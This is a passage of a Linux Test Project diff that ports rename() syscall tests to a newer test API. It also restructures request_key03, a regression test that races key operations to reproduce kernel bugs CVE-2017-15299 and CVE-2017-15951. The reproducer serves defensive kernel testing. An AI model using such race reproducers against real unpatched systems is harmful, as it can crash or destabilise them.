- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	rename09
- *
- * DESCRIPTION
- *      check rename() fails with EACCES
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              fork the first child
- *                      set to be nobody
- *                      create old dir with mode 0700
- *                      creat a file under it
- *              fork the second child
- *                      set to bin
- *                      create new dir with mode 0700
- *                      create a "new" file under it
- *                      try to rename file under old dir to file under new dir
- *                      check the return value, if succeeded (return=0)
- *			       Issue a FAIL message.
- *		        Otherwise,
- *			       Log the errno
- *			       Verify the errno
- *			       if equals to EACCESS,
- *				       Issue Pass message.
- *			       Otherwise,
- *				       Issue Fail message.
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename09 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
+ * Copyright (c) International Business Machines  Corp., 2001
  *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	Must run test as root.
- *
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
-#include <errno.h>
+
+/*\
+ * [Description]
+ *
+ * Check that renaming/moving a file from directory where the current user does
+ * not have write permissions fails with EACCES.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <pwd.h>
-#include <sys/wait.h>
-#include <unistd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_uid.h"
 
-void setup();
-void cleanup();
+#define SRCDIR   "srcdir"
+#define DESTDIR  "destdir"
+#define SRCFILE  SRCDIR "/file"
+#define DESTFILE DESTDIR "/file"
+#define PERMS    0700
 
-#define PERMS		0700
+static uid_t orig_uid, test_users[2];
+static char *tmpdir;
 
-char *TCID = "rename09";
-int TST_TOTAL = 1;
-
-char fdir[255], mdir[255];
-char fname[255], mname[255];
-uid_t nobody_uid, bin_uid;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int rval;
-	pid_t pid, pid1;
-	int status;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() #1 failed");
-		}
-
-		if (pid == 0) {	/* first child */
-			/* set to nobody */
-			rval = setreuid(nobody_uid, nobody_uid);
-			if (rval < 0) {
-				tst_resm(TWARN, "setreuid failed to "
-					 "to set the real uid to %d and "
-					 "effective uid to %d",
-					 nobody_uid, nobody_uid);
-				perror("setreuid");
-				exit(1);
-			}
-
-			/* create the a directory with 0700 permits */
-			if (mkdir(fdir, PERMS) == -1) {
-				tst_resm(TWARN, "mkdir(%s, %#o) Failed",
-					 fdir, PERMS);
-				exit(1);
-			}
-
-			/* create "old" file under it */
-			SAFE_TOUCH(cleanup, fname, 0700, NULL);
-
-			exit(0);
-		}
-
-		/* wait for child to exit */
-		wait(&status);
-		if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0)) {
-			tst_brkm(TBROK, cleanup, "First child failed to set "
-				 "up conditions for the test");
-		}
-
-		if ((pid1 = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() #2 failed");
-		}
-
-		if (pid1 == 0) {	/* second child */
-			/* set to bin */
-			if ((rval = seteuid(bin_uid)) == -1) {
-				tst_resm(TWARN, "seteuid() failed");
-				perror("setreuid");
-				exit(1);
-			}
-
-			/* create "new" directory */
-			if (mkdir(mdir, PERMS) == -1) {
-				tst_resm(TWARN, "mkdir(%s, %#o) failed",
-					 mdir, PERMS);
-				exit(1);
-			}
-
-			SAFE_TOUCH(cleanup, mname, 0700, NULL);
-
-			/* rename "old" to "new" */
-			TEST(rename(fname, mname));
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO != EACCES) {
-				tst_resm(TFAIL, "Expected EACCES got %d",
-					 TEST_ERRNO);
-			} else {
-				tst_resm(TPASS, "rename() returned EACCES");
-			}
-
-			/* set the process id back to root */
-			if (seteuid(0) == -1) {
-				tst_resm(TWARN, "seteuid(0) failed");
-				exit(1);
-			}
-
-			/* clean up things in case we are looping */
-			SAFE_UNLINK(cleanup, fname);
-			SAFE_UNLINK(cleanup, mname);
-			SAFE_RMDIR(cleanup, fdir);
-			SAFE_RMDIR(cleanup, mdir);
-		} else {
-			/* parent - let the second child carry on */
-			waitpid(pid1, &status, 0);
-			if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0)) {
-				exit(WEXITSTATUS(status));
-			} else {
-				exit(0);
-			}
-		}
-	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-	struct passwd *pw;
-
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
-	nobody_uid = pw->pw_uid;
-	pw = SAFE_GETPWNAM(NULL, "bin");
-	bin_uid = pw->pw_uid;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
 	umask(0);
-
-	sprintf(fdir, "tdir_%d", getpid());
-	sprintf(mdir, "rndir_%d", getpid());
-	sprintf(fname, "%s/tfile_%d", fdir, getpid());
-	sprintf(mname, "%s/rnfile_%d", mdir, getpid());
+	orig_uid = getuid();
+	tst_get_uids(test_users, 0, 2);
+	tmpdir = tst_get_tmpdir();
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
+static void run(void)
 {
+	gid_t curgid = getgid();
 
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
+	SAFE_MKDIR(SRCDIR, PERMS);
+	SAFE_TOUCH(SRCFILE, PERMS, NULL);
+	SAFE_CHOWN(SRCDIR, test_users[0], curgid);
+	SAFE_CHOWN(SRCFILE, test_users[0], curgid);
 
-	/*
-	 * Exit with return code appropriate for results.
-	 */
+	SAFE_SETEUID(test_users[1]);
+	SAFE_MKDIR(DESTDIR, PERMS);
+	SAFE_TOUCH(DESTFILE, PERMS, NULL);
 
+	TST_EXP_FAIL(rename(SRCFILE, DESTFILE), EACCES, "rename()");
+
+	/* Cleanup between loops */
+	SAFE_SETEUID(orig_uid);
+	tst_purge_dir(tmpdir);
 }
+
+static void cleanup(void)
+{
+	free(tmpdir);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/rename/rename10.c b/testcases/kernel/syscalls/rename/rename10.c
index 4f09333..444f653 100644
--- a/testcases/kernel/syscalls/rename/rename10.c
+++ b/testcases/kernel/syscalls/rename/rename10.c
@@ -1,175 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename10
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) syscall fails with ENAMETOOLONG
- *      and ENOENT
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *              create the "old" file
- *
- *	Test:
- *		Loop if the proper options are given.
- *              1.  rename the "old" to the "new" file
- *                  verify rename() failed with error ENAMETOOLONG
- *
- *              2.  "new" path contains a directory that does not exist
- *                  rename the "old" to the "new"
- *                  verify rename() failed with error ENOENT
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.*
- *
- * USAGE
- *	rename10 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename(2) fails with ENAMETOOLONG, when
+ * oldpath or newpath is too long.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define TEMP_FILE "tmpfile"
 
-char *TCID = "rename10";
-int TST_TOTAL = 2;
+static char long_path[NAME_MAX + 1] = {[0 ... NAME_MAX] = 'a'};
 
-char badmname[] =
-    "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
+static void setup(void)
+{
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_TOUCH(TEMP_FILE, 0700, NULL);
+}
 
-int fd;
-char fname[255], mname[255];
-char mdir[255];
+static void run(void)
+{
+	TST_EXP_FAIL(rename(TEMP_FILE, long_path),
+				ENAMETOOLONG);
+}
 
-struct test_case_t {
-	char *fd1;
-	char *fd2;
-	int error;
-} TC[] = {
-	/* badmname is too long for a file name - ENAMETOOLONG */
-	{
-	fname, badmname, ENAMETOOLONG},
-	    /* mname contains a directory component which does not exist - ENOENT */
-	{
-	fname, mname, ENOENT}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
 };
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(rename(TC[i].fd1, TC[i].fd2));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	sprintf(mdir, "./rndir_%d", getpid());
-	sprintf(mname, "%s/rnfile_%d", mdir, getpid());
-
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rename/rename12.c b/testcases/kernel/syscalls/rename/rename12.c
index 3669178..d6e1ccb 100644
--- a/testcases/kernel/syscalls/rename/rename12.c
+++ b/testcases/kernel/syscalls/rename/rename12.c
@@ -1,222 +1,69 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 Ported by Wayne Boyer
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename12
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *      check rename() fails with EPERM or EACCES
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              create a directory fdir and set the sticky bit
- *              create file fname under fdir
- *              fork a child
- *                      set to nobody
- *                      try to rename fname to mname
- *                      check the return value, if succeeded (return=0)
- *			       Log the errno and Issue a FAIL message.
- *		        Otherwise,
- *			       Verify the errno
- *			       if equals to EPERMS or EACCES,
- *				       Issue Pass message.
- *			       Otherwise,
- *				       Issue Fail message.
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- * USAGE
- *	rename12 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	Must run test as root.
- *
+ * Verify that rename() fails with EPERM or EACCES when the directory
+ * containing oldpath has the sticky bit (S_ISVTX) set and the caller
+ * is not privileged.
  */
-#include <errno.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
+
+#include <stdio.h>
 #include <pwd.h>
-#include <unistd.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define MNT_POINT "mntpoint"
+#define TEMP_DIR "tempdir"
+#define TEMP_FILE1 TEMP_DIR"/tmpfile1"
+#define TEMP_FILE2 TEMP_DIR"/tmpfile2"
 
-void setup();
-void cleanup();
+static uid_t nobody_uid;
+static struct stat buf1;
 
-#define PERMS		0777
-
-char *TCID = "rename12";
-int TST_TOTAL = 1;
-
-int fd;
-char fdir[255];
-char fname[255], mname[255];
-uid_t nobody_uid;
-struct stat buf1;
-
-int main(int ac, char **av)
-{
-	int lc;
-	pid_t pid;
-	int status;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * rename a file whose parent directory has
-		 * the sticky bit set without root permission
-		 * or effective uid
-		 */
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "fork() failed");
-		}
-
-		if (pid == 0) {	/* child */
-			/* set to nobody */
-			if (seteuid(nobody_uid) == -1) {
-				tst_resm(TWARN, "setreuid failed");
-				perror("setreuid");
-				exit(1);
-			}
-
-			/* rename "old" to "new" */
-			TEST(rename(fname, mname));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				exit(1);
-			}
-
-			if ((TEST_ERRNO != EPERM) && (TEST_ERRNO != EACCES)) {
-				tst_resm(TFAIL,
-					 "Expected EPERM or EACCES, got %d",
-					 TEST_ERRNO);
-				exit(1);
-			} else {
-				tst_resm(TPASS,
-					 "rename returned EPERM or EACCES");
-			}
-
-			/* set the id back to root */
-			if (seteuid(0) == -1) {
-				tst_resm(TWARN, "seteuid(0) failed");
-			}
-		} else {	/* parent */
-			wait(&status);
-			if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0)) {
-				exit(WEXITSTATUS(status));
-			} else {
-				exit(0);
-			}
-
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
 	struct passwd *pw;
 
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
+	pw = SAFE_GETPWNAM("nobody");
 	nobody_uid = pw->pw_uid;
 
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	umask(0);
-
-	sprintf(fdir, "./tdir_%d", getpid());
-	sprintf(fname, "%s/tfile_%d", fdir, getpid());
-	sprintf(mname, "%s/rnfile_%d", fdir, getpid());
-
-	/* create a directory */
-	SAFE_MKDIR(cleanup, fdir, PERMS);
-
-	SAFE_STAT(cleanup, fdir, &buf1);
-
-	/* set the sticky bit */
-	if (chmod(fdir, buf1.st_mode | S_ISVTX) != 0) {
-		tst_brkm(TBROK, cleanup, "failed to set the S_ISVTX bit");
-
-	}
-
-	/* create a file under fdir */
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_MKDIR(TEMP_DIR, 0777);
+	SAFE_STAT(TEMP_DIR, &buf1);
+	SAFE_CHMOD(TEMP_DIR, buf1.st_mode | S_ISVTX);
+	SAFE_TOUCH(TEMP_FILE1, 0700, NULL);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
+static void run(void)
 {
+	SAFE_SETEUID(nobody_uid);
 
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
+	TEST(rename(TEMP_FILE1, TEMP_FILE2));
+	if (TST_RET == -1 && (TST_ERR == EPERM || TST_ERR == EACCES))
+		tst_res(TPASS | TTERRNO, "rename() failed as expected");
+	else if (TST_RET == 0)
+		tst_res(TFAIL, "rename() succeeded unexpectedly");
+	else
+		tst_res(TFAIL | TTERRNO, "rename() failed, but not with expected errno");
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mntpoint = MNT_POINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]){
+		"exfat",
+		"vfat",
+		"fuse",
+		"ntfs",
+		NULL
+	},
+};
diff --git a/testcases/kernel/syscalls/rename/rename13.c b/testcases/kernel/syscalls/rename/rename13.c
index 07a90c4..51490db 100644
--- a/testcases/kernel/syscalls/rename/rename13.c
+++ b/testcases/kernel/syscalls/rename/rename13.c
@@ -1,186 +1,54 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 Ported by Wayne Boyer
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename13
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Verify rename() return successfully and performs no other action
- *      when "old" file and "new" file link to the same file.
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *                  create the "old" file
- *                  link the "new" file to the "old" file
- *                  rename the "old" to the "new" file
- *                  verify the "new" file points to the original file
- *                  verify the "old" file exists and points to
- *                         the original file
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename13 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename() does nothing and returns a success status when
+ * oldpath and newpath are existing hard links referring to the same file.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define TEMP_FILE1 MNT_POINT"/tmpfile1"
+#define TEMP_FILE2 MNT_POINT"/tmpfile2"
 
-char *TCID = "rename13";
-int TST_TOTAL = 1;
+static struct stat buf1, buf2;
 
-int fd;
-char fname[255], mname[255];
-struct stat buf1, buf2;
-dev_t olddev;
-ino_t oldino;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST rename()works when
-		 * both old file and new file link to the same file
-		 */
-
-		/* Call rename(2) */
-		TEST(rename(fname, mname));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "rename(%s, %s) failed", fname, mname);
-			continue;
-		}
-
-		/* check the existence of "new", and get the status */
-		SAFE_STAT(cleanup, mname, &buf2);
-
-		/* check the existence of "old", and get the status */
-		SAFE_STAT(cleanup, fname, &buf1);
-
-		/* verify the new file is the same as the original */
-		if (buf2.st_dev != olddev || buf2.st_ino != oldino) {
-			tst_resm(TFAIL,
-				 "rename() failed: new file does "
-				 "not point to the same file as old "
-				 "file");
-			continue;
-		}
-
-		/* verify the old file is unchanged */
-		if (buf1.st_dev != olddev || buf1.st_ino != oldino) {
-			tst_resm(TFAIL,
-				 "rename() failed: old file does "
-				 "not point to the original file");
-			continue;
-		}
-
-		tst_resm(TPASS, "functionality of rename() is correct");
-	}
-
-	cleanup();
-	tst_exit();
+	SAFE_TOUCH(TEMP_FILE1, 0700, NULL);
+	SAFE_STAT(TEMP_FILE1, &buf1);
+	SAFE_LINK(TEMP_FILE1, TEMP_FILE2);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
+	TST_EXP_PASS(rename(TEMP_FILE1, TEMP_FILE1));
+	if (TST_RET != 0)
+		return;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	sprintf(mname, "./rnfile_%d", getpid());
-
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-
-	SAFE_STAT(cleanup, fname, &buf1);
-
-	/* save the dev and inode */
-	olddev = buf1.st_dev;
-	oldino = buf1.st_ino;
-
-	/* link the "new" file to the "old" file */
-	SAFE_LINK(cleanup, fname, mname);
+	SAFE_STAT(TEMP_FILE2, &buf2);
+	TST_EXP_EQ_LU(buf1.st_dev, buf2.st_dev);
+	TST_EXP_EQ_LU(buf1.st_ino, buf2.st_ino);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mntpoint = MNT_POINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]){
+		"exfat",
+		"vfat",
+		NULL
+	},
+};
diff --git a/testcases/kernel/syscalls/renameat/renameat01.c b/testcases/kernel/syscalls/renameat/renameat01.c
index 817e217..9df4b70 100644
--- a/testcases/kernel/syscalls/renameat/renameat01.c
+++ b/testcases/kernel/syscalls/renameat/renameat01.c
@@ -41,7 +41,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/time.h>
-#include <fcntl.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/renameat2/renameat2.h b/testcases/kernel/syscalls/renameat2/renameat2.h
index b04558d..c4688ed 100644
--- a/testcases/kernel/syscalls/renameat2/renameat2.h
+++ b/testcases/kernel/syscalls/renameat2/renameat2.h
@@ -27,7 +27,7 @@
 int renameat2(int olddirfd, const char *oldpath, int newdirfd,
 				const char *newpath, unsigned int flags)
 {
-	return ltp_syscall(__NR_renameat2, olddirfd, oldpath, newdirfd,
+	return tst_syscall(__NR_renameat2, olddirfd, oldpath, newdirfd,
 						newpath, flags);
 }
 #endif
diff --git a/testcases/kernel/syscalls/request_key/request_key03.c b/testcases/kernel/syscalls/request_key/request_key03.c
index b33da1a..464fcd8 100644
--- a/testcases/kernel/syscalls/request_key/request_key03.c
+++ b/testcases/kernel/syscalls/request_key/request_key03.c
@@ -37,37 +37,37 @@
 #include "tst_test.h"
 #include "lapi/keyctl.h"
 
-static char *opt_bug;
-
-static void test_with_key_type(const char *type, const char *payload,
-			       int effort)
-{
-	int i;
-	int status;
-	pid_t add_key_pid;
-	pid_t request_key_pid;
-	bool info_only;
-
-	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
-	if (TST_RET < 0)
-		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
-
-	TEST(add_key(type, "desc", payload, strlen(payload),
-		     KEY_SPEC_SESSION_KEYRING));
-	if (TST_RET < 0 && TST_ERR != EINVAL) {
-		if (TST_ERR == ENODEV) {
-			tst_res(TCONF, "kernel doesn't support key type '%s'",
-				type);
-			return;
-		}
-		tst_brk(TBROK | TTERRNO,
-			"unexpected error checking whether key type '%s' is supported",
-			type);
-	}
+static struct test_case {
+	const char *type;
+	const char *payload;
+	int effort;
+} testcase_list[] = {
+	/*
+	 * Briefly test the "encrypted" and/or "trusted" key types when
+	 * availaible, mainly to reproduce CVE-2017-15299.
+	 */
+	{"encrypted", "update user:foo 32", 2},
+	{"trusted", "update", 2},
 
 	/*
-	 * Fork a subprocess which repeatedly tries to "add" a key of the given
-	 * type.  This actually will try to update the key if it already exists.
+	 * Test the "user" key type for longer, mainly in order to reproduce
+	 * CVE-2017-15951.  However, without the fix for CVE-2017-15299 as well,
+	 * WARNs may show up in the kernel log.
+	 *
+	 * Note: the precise iteration count is arbitrary; it's just intended to
+	 * be enough to give a decent chance of reproducing the bug, without
+	 * wasting too much time.
+	 */
+	{"user", "payload", 20},
+};
+
+static char *opt_bug;
+
+static void run_child_add(const char *type, const char *payload, int effort)
+{
+	int i;
+
+	/*
 	 * Depending on the state of the key, add_key() should either succeed or
 	 * fail with one of several errors:
 	 *
@@ -85,39 +85,89 @@
 	 * For now we also accept EDQUOT because the kernel frees up the keys
 	 * quota asynchronously after keys are unlinked.  So it may be hit.
 	 */
+	for (i = 0; i < 100 * effort; i++) {
+		usleep(rand() % 1024);
+		TEST(add_key(type, "desc", payload, strlen(payload),
+			KEY_SPEC_SESSION_KEYRING));
+		if (TST_RET < 0 && TST_ERR != EINVAL && TST_ERR != ENOKEY &&
+			TST_ERR != EDQUOT) {
+			tst_brk(TBROK | TTERRNO,
+				"unexpected error adding key of type '%s'",
+				type);
+		}
+
+		TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING));
+
+		if (TST_RET < 0)
+			tst_brk(TBROK | TTERRNO, "unable to clear keyring");
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "add_key() process runtime exceeded");
+			break;
+		}
+	}
+}
+
+static void run_child_request(const char *type, int effort)
+{
+	int i;
+
